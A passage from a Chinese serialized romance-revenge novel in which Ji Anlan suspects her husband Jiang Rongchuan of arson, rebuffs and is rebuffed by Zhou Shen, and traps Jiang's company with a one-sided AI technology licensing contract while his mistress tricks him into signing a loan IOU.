“帮我查一下当年火灾的细节,我怀疑是有人纵火,而并非意外!”
纪安澜语气平静,听不出任何情绪,却带着不容人质疑的威严。
她眼底翻涌着复杂的情绪。
电话那头的叶哲愣住了,旋即拔高了音量:“纪小姐,你知道了什么?”
“现在还不太清楚,但是我能确定当年的火灾另有原因!”
纪安澜视线落在了母亲沉睡的脸上,眼底翻涌着冰冷。
若真的是江容川,她绝对不会心慈手软!
若他是凶手,父亲的死,母亲的病,都是拜他所赐!
“纪小姐,你尽管放心,我一定会彻查到底,如果是有人故意纵火,我一定帮你查到真凶,并且让他付出惨痛的代价!”
叶哲在父亲没过世之前,就帮忙做事,一直尽职尽责,从未有过纰漏,他受过纪安澜父亲的恩,打算结草衔环相报,只是没想到一场意外葬送了纪苍远的命。
若真如纪安澜所说,他一定不遗余力查到真相!
“记住,悄悄地办,不要打草惊蛇。”顿了一下,纪安澜又补充道:“一定要铁证!”
“好!”叶哲沉声答应。
挂断电话,纪安澜目光落在了母亲的脸上,只觉周身一片寒冷,眼底满是疲惫。
江容川到底是个什么样的人?
这十三年的感情,难道是她在自我感动?如果猜测属实,江容川不仅从未爱过她,甚至**放火,害她家破人亡,甚至还害得她无法生育?
她到底爱了什么样的人啊?
第79章 十几年,她活的像个傻子
纪安澜从疗养院出来,看着暮色渐沉,眼中一片荒芜。
掏出手机,看着通讯录,最后目光定格在沈南姗的名字上。
纪安澜拨通了她的号码,喊她出来喝酒。
城南一所清吧。
推开门进去时,偌大的一个酒吧里,只有沈南姗一人,听见声音,回头看着纪安澜,挑了挑眉。
“纪大小姐,怎么有时间找我喝酒?”
见她手里端着酒,纪安澜走过去,接过她手里的酒杯,仰头一饮而尽。
喉间一股辛辣,呛得厉害,纪安澜忍不住咳嗽了几声。
“整个酒吧都被我包下来了,又没有人跟你抢,喝这么急干什么?”
沈南姗狐疑地盯着她,见她面色难看,给她倒了一杯温水,推给了她。
“这是怎么了?”
想到今天宋妘妘去纪氏**,难道是因为这事?
“宋妘妘就是个疯女人,不用搭理她。”
听见安慰,纪安澜摇头:“与她无关。”
“那是为什么?”沈南姗不解地问。
紧皱着眉头,纪安澜喉咙发紧,沉默良久,声音喑哑:“我觉得过去的我太荒唐了,过去十几年活得像个傻子,还是个瞎子!”
话音刚落,端起面前的酒杯,一饮而尽。
辛辣的液体划过喉咙,烧得她眼眶发红。
“何止过去十几年?”沈南姗拔高了音调,“你现在也是个瞎子。”
纪安澜皱眉,对这句话,她不服气。
“我现在已经看清了……”既像是解释,又像是在喃喃自语。
“看清什么?”沈南姗挑了挑眉,忍不住吐槽:“我感觉你什么都看不到呢?有个那么爱你的人在身边,也不好好把握。”
爱她的人?
纪安澜眼中划过一抹不解,掀起眼眸,紧皱着眉头:“你在说什么?”
她突然意识到,他们两个人说的根本就不是同一件事。
“看来你还不知道。”
观察到纪安澜眼中的疑惑,沈南姗眉峰微挑,凑近了她,一脸神秘地说道:“昨天晚上,周慎在夜色玫瑰招待所,砸了4个包厢。”
这跟她有什么关系?
主眉头皱得更深了,眼中划过一抹不解。
看着纪安澜的表情,沈南姗晃了晃手里的威士忌,凑得更近了些,语气带着一丝调侃的意味。
“你猜,是为了什么?”
“工作上的事?要么就是感情上的事,但都跟我没有什么关系。”
他们也只是名义上的情人,并没有实质性的关系。
不管周慎做什么,都与她无关。
话音刚落,纪安澜端起酒杯,喝了一口。
“感情上的事!”沈南姗确信地说着,目光定定地看着纪安澜:“周少喝得酩酊大醉,疯了一样狂砸四个包厢,没有人敢拦着,但有人却听见他嘴里喊着一个女人的名字。”
她刻意顿了一下,观察纪安澜的表情。纪安澜神色微变,眼中闪过一抹好奇与期待。
沈南姗满意地笑道:“他叫的就是你的名字。”
纪安澜刚抿了一口酒,差点喷出来。
瞪圆了眼睛,不可置信地扭头看着沈南姗。
“咳咳咳……你可不要胡说。”
周慎没事喊她的名字干什么?
“我怎么可能胡说?这事虽然被压下来了,没几个人知道,但我对这方面的消息还是很灵通的!”
沈南姗自信满满,一副不容人质疑的模样。
对此,纪安澜依旧持怀疑的态度。
而沈南姗则劝说道:“你不是觉得自己识人不清,是个眼瞎的吗?但我是旁观者,你没听过一句话,当局者迷,旁观者清吗?”
纪安澜紧皱着眉头,不解地望着她。
“所以呢?他喊我的名字又能怎么样?说不定觉得我欠他的……”
他们两个人现在是合作关系,在没有完成对赌协议之前,纪安澜算是欠了他的钱。
“要说欠,那也是欠感情!”沈南姗坐在纪安澜身边的位置上,沉声道:“我看得清清楚楚,周慎对你有意思!”
脸色微变,纪安澜想起跟周慎之间发生的种种,立刻否定了这个说法。
“不可能!”
她觉得周慎对她除了调侃,并没有其他感情。
周慎就是个花花公子,身边美女
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如云,又怎么可能会喜欢她?
就算是喜欢,那也是因为没有得到。
这种喜欢不要也罢。
“我从来都没有见过周慎如此失控过。”沈南姗极其认真地说,目光紧紧地盯着纪安澜:“我劝你还是好好把握住幸福,难道你要在江容川那种渣男上困住一辈子?”
江容川?
听到这个名字,纪安澜眼中闪过一抹嫌弃。
沈南山观察着纪安澜的表情,嘴角勾起一抹淡淡的笑意。
“所以如果让你在周慎和江容川之间选一个,你会选谁?”
脑海里突然浮现出周慎那张俊脸,还有两人暧昧时的画面,脸上一热,耳尖微红,主眼中闪过一抹紧张。
为了掩饰慌乱,纪安澜忙又喝了一杯酒。
辛辣的液体顺着喉咙流入五脏六腑,纪安澜眼神逐渐迷离,大脑有些混沌不清。
一旁沈南姗的话在耳边,极具有蛊惑力:“趁周慎正在兴头上,赶紧把他拿下!你要是做了周夫人,以后不是任意拿捏江容川吗?”
顿了一下,沈南姗又撺掇道:“现在就去,趁热打铁!”
纪安澜定定地站在原地,大脑一片混沌,脸颊绯红,眼神迷离。
沈南姗见纪安澜没说话,拿出手机,打了个车,拉着她出了酒吧。
站在路边,沈南姗为她加油打气:“等会车子会把你送到御景豪庭,你可千万别掉链子,今天晚上就拿下周慎!”
纪安澜鬼使神差地点了点头,也不知道听没听进去,酒精在血液里翻涌,沈南姗硬生生地把纪安澜塞进了出租车。
车子很快地停在了御景豪庭门外。
一下车子,纪安澜跌跌撞撞地走过去按门铃。
站在门口,一阵冷风刮过,纪安澜稍清醒了些。
这时,门被打开,一道颀长的身影赫然映入眼帘。
在看到周慎的刹那,纪安澜瞳孔骤缩,眼中划过一抹惊讶,环顾四周,这才发现,居然不知不觉间来到了御景豪庭外。
“周……周总,好巧啊。”
纪安澜讪笑着朝他打了个招呼。
“纪总,吊着我很好玩吗?”
第80章 他的喜欢有时效
纪安澜眼中闪过一抹错愕。
酒劲还没过,她眯着眼睛看着周慎,一瞬间还以为走错了地方。
周慎清冽的眸子扫了她一眼,鼻息间充斥着一股酒味,眉头微蹙。
“纪总,找我有事?”
声音很轻,淡得听不出任何情绪。
仿佛被堵了一团湿棉花,纪安澜喉咙有些发紧。
她借着酒劲问道:“听说你昨天在夜色玫瑰砸了包厢,我……”
话还没有说完,周慎冷声道:“与你无关。”
毫无感情的四个字,仿佛淬了冰一般。
纪安澜的酒瞬间醒了大半。
瞳孔微缩,定定地盯着他,确定眼前的男人就是周慎,只不过,此刻的他眼底充满了疏离,一副生人勿近的表情。
“哦,我还以为……”纪安澜试探性地继续开口。
“以为什么?”周慎冷声打断,“不是纪总说的,我们只是情人关系吗?”
话音刚落,又强调了一句:“而且是假扮的情人!”
听到这句话,原本的兴致勃勃陡然变成了失落。
那一刻,纪安澜完全清醒,眼底的光瞬间黯淡。
看着纪安澜的表情,周慎眉头紧锁,喉结微动。
盯着那张素白的小脸,就想到他看到纪安澜跟江容川暧昧的一幕,心脏仿佛被人用力扎了一刀。
他移开视线,不再直视那双黑白分明的眼眸。
纪安澜定定地站在原地,一脸尴尬,有些局促不安。
仿佛有一种被人看穿了心事,却被拒绝了的感觉。
跟之前的热情相比,周慎仿佛变了一个人。
果然,喜欢在他这里是有时效性的。
他可以轻而易举地喜欢一个人,也可以转瞬就不喜欢。
区区几天,喜欢又算得了什么?
想到这里,纪安澜唇角勾起了一抹自嘲的笑。
只是听了几句风言风语,她居然巴巴地来找周慎了。
周慎是何许人也?怎会对一个刚认识没多久的女人失了分寸?
她一定是喝多了,才会相信沈南姗的鬼话。
掀起眼眸,看着那双清冷淬了冰的眸子。
纪安澜神色淡然,勉强勾了勾唇:“是,我们是假扮的情人关系。”
说罢,嘴角扯出一抹苦涩的笑,垂在身体两侧的手微微蜷缩,声音越发地轻了:“对不起,我喝醉了,实在不好意思,打扰了周总,以后不会了。”
他说完,转身就走。
背影决绝,带着一丝落寞。
她的步伐很快,像是身后有什么洪水猛兽一般。
想到周慎刚才的表情,纪安澜觉得她这一次过来,简直是自取其辱。
不过也不算没有收获,她知道周慎之前的一切柔情蜜意都是装出来的。
一阵冷风刮在脸上,纪安澜越发地清醒,她拍了拍脸颊,打起精神。
“记住,你们只是合作关系!男人永远靠不住,纪安澜,你只能靠自己!”
周慎定定地看着纪安澜的背影,眼底的冰凉逐渐消减,眉头微蹙,眼底翻涌着复杂的情绪。
身后,顾晏池悄然走了过来,看着周慎一脸舍不得的表情,无奈地摇了摇头。
昨日周慎疯狂砸了四个包厢的场面,她还记忆犹新。
嘴里一直念叨着纪安澜的名字,仿佛受了情伤,可任凭他如何问,周慎就是不告诉他。
今日酒醒后,更是下令让人压下此事,这更加说明他心里有多么在意。
特别是刚才看到纪安澜来了,她明显能够感觉到周慎眼中闪过一抹惊喜,快速打开了门。
本以为有了昨天那一遭,两人会感情飞速进步。
可谁承想,竟然是这样的局面。
顾晏池走到他身边,盯着他冷冽的下颌角,摇了摇头吐槽:“周慎,你什么都好,就是长了一张嘴。”
“进来,陪我喝酒。”
周慎扫了一眼纪安澜消失的方向,眼底的冷意快要溢出,声音沙哑,像是被砂纸磨过,原本平静的内心瞬间乱了。
“还喝?”顾晏池惊讶地瞪圆了眼睛。
想到他昨天的战绩,他真怕周慎把御景豪庭的家给砸了。
不过他更怕周慎喝出事来,没办法,只好跟了上去。
夜色渐浓,这一夜注定无眠。
翌日。
纪安澜强打起精神,用冷水洗了把脸,看着镜中的
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自己,眼神坚定。
她现在要做的就是振兴纪氏,没有功夫想别的了,原本靠近周慎也只不过是为了互相利用。
想到周慎昨天的反应,纪安澜已经说服了自己,这样最好!
纪氏办公室。
纪安澜翻看着之前叶哲给她的另外两个项目。
其中一个月初的智慧机器人,需要依托AI项目数据支撑去做,他们纪氏最拿手的就是AI项目,纪安澜很有把握拿下。
此时张萌萌敲门送文件,纪安澜顺势让她去做计划书。
张萌萌有些担忧:“纪总,目前看来最大的合作商是**,但您跟**的关系……”
顿了一下,张萌萌自告奋勇:“要不,这次我去谈合作?”
纪安澜掀起眼眸,嘴角噙着一抹凉薄的笑:“兵来将挡,水来土掩,我跟**早就划清界限了,现在就是利益合作。”
看着纪安澜云淡风轻的模样,张萌萌松了口气。
纪安澜手指敲击在桌案上,眸色幽暗:“这次AI技术授权报价6个亿,一分都不能少。”
这个报价确实有点高,不知道**那边能不能接受,张萌萌思忖着,目光落在纪安澜脸上,那副胜券在握的模样,让她也跟着有了信心,立刻着手去做文件。
张萌萌前脚刚一离开,纪安澜手机铃声响了。
是江容川打来的。
隐下眼中的厌烦,纪安澜接听。
“澜澜,关于智慧机器人项目……”
他倒是单刀直入。
“下午2点,我会亲自去**,与你们洽谈此次合作。”
语气清冷,没有任何感情。
话音刚落,纪安澜直接挂断电话。
江容川看着熄灭的手机屏幕,面色阴沉,不知不觉间,他们之间只剩下了冰冷的合作联系吗?
下午2点,纪安澜准时出现在了**集团的会议室。
纪安澜身着裁剪利落的黑色西装,长发绾成髻,素颜出席,巴掌大的小脸,却难掩眸中的凌厉。
坐在会议室上,给张萌萌使了个眼色,合作方案分发下去。
**股东一看,脸色骤变:“六个亿?你这是明抢?”
第81章 下套
股东们窃窃私语,眼中充满了愤怒。
纪安澜早就料到这样的场面,云淡风轻地坐在凳子上。
一旁的张萌萌观察着纪安澜的表情,见她平静,也赶紧收敛起眼底的慌张。
“听说纪安澜和江容川闹离婚,他们两个真的离婚了吗?”
“该不会是假离婚,然后故意设局吧?”
“六个亿?我看这个女人就是疯了!”
他们的议论声颇大,完全不避人。
视线在纪安澜脸上来来**,最终有个股东忍不住站起身,语气尖酸刻薄:“外界都在传,你跟江总闹离婚,到底是真是假?该不会是故意诓骗我们,然后左手倒右手,想把**的血吸干吧?”
这句话不仅是在针对纪安澜,更是连带着江容川一起说了。
纪安澜脸色未变,眼神古井无波,反倒是江容川面色阴沉,眼神阴郁得仿佛随时都能滴下水来,沉默不言,气得说不出话来。
“**的血岂是这么容易被吸干的?”
眼见着那些股东情绪激动,纪安澜声音清浅,嘴角挂着一抹讥诮的笑,扫了一眼众人。
“AI技术乃是我们纪氏的心血,投入良多,想要合作的人也不少,我们纪氏从优选择,六个亿的授权费,与未来的利益相比,孰轻孰重,我觉得众位股东商海浮沉,想必比我一个初出茅庐的女人更加清楚吧?”
初出茅庐?
纪安澜这一手笔,可并不像是初出茅庐会做出来的事。
一开口就是六亿,简直就是狮子大开口!
哪个初出茅庐的人敢这么做?
股东们面色难看至极,面面相觑,想商议对策。
其中一个股东冷冷地看着纪安澜,略带开玩笑的意味:“纪总,您跟江总是夫妻关系,看在这个面子上,也不能给出这么高的价格,不如我们坐下来好好谈谈?六亿实在是太多了,能不能看在江总的面子上打个折?”
所有人的目光齐刷刷地落在了江容川的脸上。
纪安澜也淡漠地扫了他一眼。
看在江容川的面子上?
要是她真的在乎江容川,根本就不会来**一趟。
之所以选择**,那是有利益可图。
至于江容川?
纪安澜嘴角噙着一抹冷笑,眼底满是不屑。
掀起眼眸,纪安澜冷冷地扫了一眼在场的股东,气场全开,冷声道:“谈生意明码标价,不能随意更改,这是我给的最佳价格,若是还有异议,你们内部自行解决。”
话音刚落,纪安澜勾了勾唇,礼貌性地微笑着:“请各位股东好好看看这一次的合作书,希望我们有一个愉快的合作。”
说罢,扭头看了一眼张萌萌,两人一同离开了办公室。
刚一走到走廊里,身后传来了急促的脚步声,下一秒手腕被攥住。
纪安澜皱着眉头回头,正对上江容川那阴鸷的眸子。
他死死地瞪着纪安澜,脸色黑如锅底。
“纪安澜,你非要把事情做得这么绝吗?”
纪安澜仿佛听到了天大的笑话,喉间发出一丝冷笑,目光锐利如刃,嘴角勾着一抹讥讽。
与江容川的所作所为相比,她觉得她简直是太善良了。
江容川不仅是害她不能生育,还是害她家破人亡的疑凶。
十几年的付出,却换来小三的登堂**。
如今江容川却在质问她,难道不是天大的笑话吗?
“江总,与其在这里与我做无意义的争辩,倒不如好好跟股东商议一番,如何合作,我们纪氏已经抛出了橄榄枝,区区6亿,对于**来说是九牛一毛吧?毕竟你从我纪氏拿走的可不止6亿。”
纪安澜眼神冰冷,像是一把刀子,狠狠地扎向了江容川。
“你张口就要6亿,摆明了是狮子大开口,那些股东不会同意的!他们会觉得我跟你合作想要榨干**。”
江容川有些着急,希望纪安澜能够降低价格。
纪安澜冷笑:“原来在股东心里,你也如此卑劣,否则他们怎么会这么想?”
想到江容川的所作所为,纪安澜看着那张脸就觉得胃里一阵翻滚,用力地甩开他的手,想要离开。
江容川看着她决绝的背影,立刻拦住了她。
“我可
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以答应这次合作,但能不能不要离婚?”
浓眉紧皱,眼睛里充满了渴求。
嘴角溢出一丝嘲讽的笑,纪安澜冷冷地看着他:“离婚是你提出的,现在知道后悔了?早干嘛去了?”
声音不大,却像是一把重锤,砸在了江容川的心上。
看着纪安澜一脸凉薄的模样,江容川知道此事没有转圜的余地。
他的脸色一阵白,一阵青,眼底翻涌着一股难以压制的怒火。
“六亿,实在是太多了,大不了我把最开始纪家注资的五千万还给你,智慧机器人这个项目纪氏必须拿下!”
“你还知道当初纪家为你注资了五千万?”纪安澜讥讽地盯着他,“五年前的五千万跟现在的五千万能一样吗?”
更何况江容川拿走的岂止是五千万的注资,还有纪家的一切!
当初她瞎了眼看上江容川,沉浸在恋爱脑中无法自拔,若非及时回头,看清了江容川的真面目,纪家可能真的已经被吞没了。
盯着那双黑白分明的眼眸,江容川无话可说。
他知道那五千万根本就不会被纪安澜看在眼里。
当初为了他,纪氏毫不犹豫地出资。
而如今的纪安澜,明码标价,为了纪氏的利益,不肯让步。
他们之间似乎真的回不去了。
知道这一点,江容川眼神慌乱,眼底的怒意渐消,取而代之的是急切。
“澜澜,我们不能静下来好好地谈一谈吗?就非得如此剑拔**张?我们可是夫妻。”
听到夫妻两个字,纪安澜觉得异常的刺耳。
只有在利益面前,江容川才会想到他们两个人是夫妻。
掀起眼眸,纪安澜满眼嘲讽地看着江容川,那眼神犹如一把锐利的刀,直直地刺向他。
“江容川,你可别忘了,离婚协议书是你亲手交给我的,现在就只剩下个离婚证了。”
纪安澜声音冷淡,想要彻底跟他划清关系。
她声音清冷,带着不容人质疑的决断:“想要合作,6个亿的授权费,少一分都不行,给你两天时间考虑,过时不候。”
第82章 债务转移
纪安澜不愿再跟江容川废话,转身离开。
江容川喉结微动,面色阴沉得可怕。
盯着纪安澜决绝的背影,脸色越发的阴郁。
纪安澜踏出**,张萌萌亦步亦趋地跟着,眼底泛着一丝担忧。
“纪总,我们真的要跟**合作吗?智慧机器人的项目如果做成了,利润有20个亿,但存在很多bug!”
他压低了嗓音,快速走到纪安澜身边,跟她并肩而行,眼睛里充满了急切。
“按照目前的进度来看,我觉得大概率会失败,可如果我们真的跟**谈了这个项目,后面将会面临很大的一笔违约金!”
纪安澜驻足,扭头,满眼欣赏地看了一眼张萌萌。
能听到他说这样一番话,就证明张萌萌平时很关注这场项目。
纪安澜欣慰地笑道:“放心,我让你拟定的合同不会对纪氏有任何影响。”
听到纪安澜这么一说,张萌萌像是明白了过来,赶紧翻看着手里的合作书。
上面的条款都是他根据纪安澜的要求做的,表面上看起来没什么,仔细一看,张萌萌发现了端倪。
这些条款只作用于购买之前,购买之后,不管智慧AI存在什么问题,都与他们纪氏无关,一切解释权归纪氏所有。
张萌萌瞪圆了眼睛,压低了声音问:“如此霸道的条款,他们能同意吗?”
纪安澜唇角勾起了一抹嘲讽的笑,眯着眼睛,眼底承着一抹冷芒。
“会,当然会!”
江容川急功近利,野心勃勃,一心想要壮大**,20亿的利益可不是个小数目,他一定会想方设法地拿下这次合作。
就算是知道合同有问题,他也会铤而走险。
其实这个文件并不是拿给董事们看的,而是写给江容川的。
只要他意志不坚定,签下这份合同,那她就可以狠狠地敲他一笔。
纪安澜想要的不仅是钱,更是要让他名誉扫地!
今日面对股东的质疑,纪安澜之所以不解释,就是为了让江容川也尝尝流言的痛苦。
嘴长在别人身上,她没办法捂住每个人的嘴,语言就像是一把刀,之前只扎在了他的身上,江容川却美美隐身,今日,回旋镖扎在他的身上,想必也很痛吧?
想到这里,纪安澜唇角上扬,眼底的冷冽快要溢出。
这才只是个开始!
属于她的东西,她会一点点地拿回来!
与此同时,纪氏办公室。
股东们讨论得热火朝天。
他们算好,如果这一次项目成功,将会获得至少20个亿的利益。
对比之下,6亿仿佛不算什么。
不过,商人重利,这次投入风险实在是太大,他们自然希望能少点投入。
可是商量来商量去,所有的一切缘由都是因为纪安澜。
只要能摆平纪安澜,一切都好说。
股东们的视线纷纷落在了江容川身上。
见他一言不发,脸色阴沉,终于有人忍不住开口。
“江总,你跟纪安澜不是夫妻吗?她怎么要那么高的价?这不是把我们**当冤大头吗?”
股东眼睛里充满了怒火:“现在我们**骑虎难下,要是不跟纪安澜合作,之前的调研经费全都打水漂。可如果要跟她合作,6亿可不是一笔小数目!”
另一个人也随声附和:“对呀!可不能让调研经费打水漂!”
叹了口气,他劝说道:“听说你最近在跟纪安澜闹离婚?女人都是需要哄的,你只要去跟她服个软,好好地谈一谈,说不定她会看在往日的情分上,把价格降下来,甚至可以免费授权给我们,说不定你还能拿到AI知识产权!”
这些话简直就是痴人说梦。
是换做以前,纪安澜会毫不犹豫地把知识产权给她。
可现在她正在气头上,他也不是没有尝试过服软,可纪安澜完全没有任何反应,那眼神冷得仿佛淬了冰,只看一眼便让他觉得心底发寒,心口仿佛冻伤了一般。
更何况,若是在这个节骨眼上服软,会更加被纪安澜看不起。
他绝对不会那么做!
一想到纪安澜那嘲讽的眼神,他的脸色越发阴沉,要是再做让她看不起的事,那比杀了他还难受。
他的眼底划过一丝近乎偏执的高傲,
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冷冷地坐在办公室的凳子上,双腿交叠,浓眉紧锁,对股东的话充耳不闻,脑海里全都是纪安澜那张素白的小脸和那生人勿近的表情。
股东们唉声叹气,一直在旁边劝说着江容川跟纪安澜和好。
原本的商业讨论,彻底变成了街头的八卦。
江容川眉头紧锁,轻拧着眉心,只觉得一个头两个大,眼见着他们争执不休,没有个定论,抬脚离开了办公室,留下股东们怨声载道,都在指责江容川不肯为了**付出。
更有人怀疑,这一切都是纪安澜和江容川布的局,为的就是让**大出血。
而办公室里的讨论,被宋妘妘安插在**的眼线,如数告知给她。
“什么?你说那些老古董竟然让容川去低声下气地求纪安澜复合?”
宋妘妘愤怒地挂断电话,脸立刻变成了猪肝色。
那群老古董凭什么管他们的家事?
不过区区6个亿而已,竟也想让江容川向纪安澜低头?
一想到两人将可能旧情复燃。
宋妘妘手指攥紧,眼中闪过一抹狞色。
打开手机,拨打了个号码。
电话那头传来了一道低沉的嗓音:“有事?”
就习惯了那人公事公办的态度,宋妘妘沉声道:“借我六个亿。”
“六个亿?你可是张口就来?”那人声音低沉了几分,看着意味不明的情绪。
“我可以打个欠条,我们暮色咖啡厅见。”
挂断电话后,宋妘妘先将拟好的欠条打印出来,又去找了江容川,趁他正忙得焦头烂额,让他签了字,心满意足地离开了**。
她立刻打车去了暮色咖啡厅。
视线在空位上搜寻着,目光落在了角落的那抹颀长的人影上。
他戴着鸭舌帽,身穿黑色风衣,包裹得严严实实,像是生怕被人发现身份。
宋妘妘嘴角噙着一抹冷笑,走过去把文件甩在了桌子上。
“这是6个亿的欠条,把钱打给我。”
那人打开文件看了一眼,在看到署名人是江容川时,唇角上扬,抬眸,看着宋妘妘:“你倒是一点亏都不肯吃。”
第83章 六个亿而已
“收还是不收?”
宋妘妘眸底闪过一抹得意,目光落在那顶鸭舌帽上。
“跟我见面,装得那么严实干什么?”
说着就要伸手去扯他的鸭舌帽。
骨节分明的手落在了她的手腕上。
男人掀起眸子,露出一张冷峻的脸,墨染的眸子泛着冷芒。
看着她眼中的威胁,宋妘妘眉头紧锁,眼底闪过一抹不悦。
“周霆云,你怕别人看到我们在一起,影响你跟大明星订婚?”
言语间透露着一丝嘲讽。
周霆云冷冰冰地瞥了她一眼,没有回答,而是低头把钱打了过去。
甩开她的手,缓缓站起身,与她擦肩而过时,冷声道:“记住你的身份。”
宋妘妘面色瞬间变得铁青,手指微微蜷缩,满脸愤恨,眼底的怒意快要溢出。
听见脚步声渐行渐远,宋妘妘咬紧下唇,努力平复着情绪。
过了许久,才情绪稳定,立刻打电话给江容川。
“容川,听说你这次项目需要6个亿,我现在手上正好有,要不见面聊?”
电话那头江容川语调逐渐变得惊喜,立刻答应见面。
二人见面后,江容川看着宋妘妘卡上的6个亿,眼睛微张,不可置信地问:“你哪来的这么多钱?”
宋妘妘脸色微变,轻声解释:“之前跟人一起买了张股票。”
江容川眼中看着那一长串的零,根本没有心思想其他,一心只想赶紧拿下项目。
他掀起眼眸,眼神急切。
宋妘妘轻轻一笑:“我们马上就要结婚了,我的就是你的,尽管拿去用。”
话音刚落,江容川牵起她的手,眼睛里充满了感激。
“妘妘,谢谢你,你真是我的救星!”
“你只要开心就好。”宋妘妘勾了勾唇,满眼笑意地盯着他。
看着江容川眼中只有她,心里一阵畅快。
“你赶紧去公司拿下项目吧。”宋妘妘一副为他着想的模样,顺手把钱转给了江容川。
江容川一听,盯着手机屏幕,眼睛直放光。
抬起头看着宋妘妘,心里又念起了她的好。
这样一看,她顺眼多了。
心里这样想着,江容川语气柔和了些:“等到事情结束,你想买什么都行。”
“我什么都不想要,我只想留在你身边。”
宋妘妘眼神中充满了殷切,走过去揽住了他的胳膊,将头贴在了他的肩膀上。
江容川垂眸看着身边的女人,脑海里闪过纪安澜的脸,眉头微蹙,眼中是一闪而过的清醒,转瞬即逝。
他柔声安慰:“会的。”
说罢,立刻起身,一脸着急:“我先回公司一趟。”
“去吧。”
宋妘妘淡然地朝着他挥了挥手。
她的态度让江容川有些错愕,以为他会纠缠不休,没想到居然如此轻易地放他走。
还有到手的6个亿,简直就是雪中送炭。
宋妘妘也没有想象中的那么糟糕。
他笑着快步离开。
身后,宋妘妘嘴角笑意更甚,眼底划过一抹算计。
这样,她就可以更加轻易地拿捏江容川了,而且不费吹灰之力!
毕竟那借条上面写的名字是江容川的。
江容川给纪安澜打了电话,说是见面签合同。
纪安澜毫不惊讶,只是没想到他居然愿意大出血。
**办公室里。
江容川端坐在高位上,其余的股东面色阴沉。
纪安澜一踏进门,所有人的目光齐刷刷地射过来,眼中全都是埋怨。
她将文件放在了江容川面前,淡淡地说:“这是那份合同,你可以再看一下。”
江容川没有看合同,而是掀起眼眸,直勾勾地盯着她。
“你真的要把事情做得那么绝吗?”
闻言,纪安澜只觉得可笑。
“六个亿,于**而言,九牛一毛吧?”
真正把事情做绝的难道不是江容川吗?
见两人正在对峙,其中一个股东则把文件拿过去仔细翻阅,发现跟之前一般无二,面色越发难看。
看来今日这6个亿,他们**必须掏出来了。
看着他们对峙的模样,有人怀疑两人是故意演戏,为的就是掏空**。
面对质疑,江容川站起身,巨大的阴影笼罩在头顶,纪安澜丝毫不畏地迎上那道目光。
他冷声道:“这6亿,
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不用从公司的账上出,我来出。”
话音刚落,原本闹哄哄的办公室顿时鸦雀无声。
所有人的视线凝聚在他的脸上,都倒抽了一口凉气,觉得不可思议。
江容川深深的看了一眼纪安澜,眉峰微挑,走过去,把合同拿过来,低头签字。
见他把字签完,纪安澜眼中划过一抹不易察觉的得意。
鱼儿终于咬钩了。
江容川把文件推到纪安澜面前。
纪安澜翻开文件,看着江容川的签名,那颗悬着的心终于落下。
手指摩挲着纸张,她声音清浅:“为了能确保你们正确使用AI技术,我带来了公司员工张萌萌,担任你们的技术顾问,全程跟进项目。”
话音刚落,张萌萌推门走了进来,微笑着冲着众人打了招呼。
“大家好,以后有关AI智慧机器人项目,所有事宜都与我接洽,纪总日理万机,还有别的事情要忙。”
言外之意是,不让人打扰纪安澜。
江容川面色一沉,没想到竟然不是纪安澜负责这个项目。
他眼中闪过一抹不悦,语气中带着一抹讥讽:“日理万机?难道还有比AI智慧机器人项目更大的合作?”
纪氏正在起步阶段,他不相信纪安澜还有比他这笔交易更大的合作。
“当然。”
纪安澜掀起眼眸,毫不犹豫地回答了一声。
浓眉紧皱,江容川眼中闪过一抹疑惑。
“怎么可能?”
其他股东也纷纷一惊。
他们从未听说纪氏有别的合作。
“江总未免也太小看我们纪氏了,AI技术可不止智慧机器人一个项目,其他公司争先想要跟我们合作。”
顿了一下,纪安澜勾了勾唇:“对了,明天我们也会参加竞标。”
“你要做什么?”江容川面色沉重,语气急切。
“可别忘了,我们已经签了合同,现在合同已经具有法律效益。”
纪安澜满意地看着他的反应,冷声道:“江总别急,我自然知道。”
“文件清清楚楚写的技术授权,不代表纪氏会放弃竞标资格,AI项目这么抢手,我没理由拱手让人。”
第84章 鱼,咬钩了
江容川面色越发阴沉,手指紧捏着合同,骨节泛白。
纪安澜冷笑一声,眼底多了一抹嘲弄,转身离开。
与张萌萌擦肩而过时,两人交换了一下目光,张萌萌用力点头,纪安澜快步离开。
身后江容川死死盯着纪安澜的背影,眼底闪过一抹怒火。
他知道纪安澜是故意的,故意在他签下合同,告诉他纪氏会参加竞标。
眼下合同已经签了,6个亿将要打给纪安澜,他无法反悔。
纪安澜走到门口时,刻意回头提醒了一句:“记得把钱打到我账上。”
说罢,扬长而去。
留下一脸铁青的江容川,和全场沸腾的股东。
他的下颌角紧绷着,不管股东如何讨论,而是视线阴冷地盯着纪安澜消失的方向。
“既然你那么想跟我斗,我就让你看看,我的实力,你会乖乖回到我的身边,心甘情愿做我的妻子!”
翌日。
竞标会,现场座无虚席。
纪安澜早早的来了,坐在靠近走道的位置上,一身裁剪得体的黑色西装,配着西装裙,衬得身姿曼妙,巴掌大的小脸更是吸引目光。
突然道冰冷的目光射向她。
纪安澜回眸,正对上宋妘妘那如毒蛇一般的视线。
见纪安澜看她,宋妘妘立刻挽起江容川的胳膊,故作亲密状。
江容川并没有反抗,而是冷冰冰地注视着纪安澜,眼底翻涌着复杂的情绪。
“容川,这次我们可不能输!难道你要让纪安澜那个女人看不起?”
一旁的宋妘妘低声提醒。
江容川立刻正了正神色,收敛起眼底的情绪,换上了一副冷冽的神情,正襟危坐,准备着接下来的竞标。
宋妘妘则扭头朝着纪安澜挑了挑眉,一副挑衅至极的模样。
纪安澜面上紧绷,心里发出阵阵冷笑。
两条鱼,都咬钩了。
好戏马上开场了。
竞标环节,纪安澜参与的竞标,江容川个个横插一脚。
导致最后纪安澜一个竞标都没有拿下。
反倒是江容川从她手中抢走了几个项目。
两人洋洋得意,回头看纪安澜的反应。
只见她一副懊恼至极的模样,脸色难看,眉头微蹙,唉声叹气,眼底写满了不甘。
两人一看,脸上都张扬着笑,眼神是抑制不住的得意与挑衅。
纪安澜努力抑制着心里的狂喜,表面上是恰到好处的懊恼。
待到竞标会结束,纪安澜拿起包打算离开现场,却被两人拦住了去路。
“走这么快干什么?难道是觉得丢脸,想找个地缝钻进去?”
宋妘妘拔高了音量,故意想让纪安澜难堪。
掀起眼眸,纪安澜面色一沉。
“好狗不挡道。”
面对面前的两人,纪安澜永远都没好脸色,即便现在是在演戏。
宋妘妘冷笑一声,嘲讽道:“让我来算算纪总丢了几个项目?一个、两个、三个……”
顿了一下,哈哈大笑:“哦,原来是一个都没拿到,哈哈哈!”
猖狂的笑声,尖锐而又刺耳。
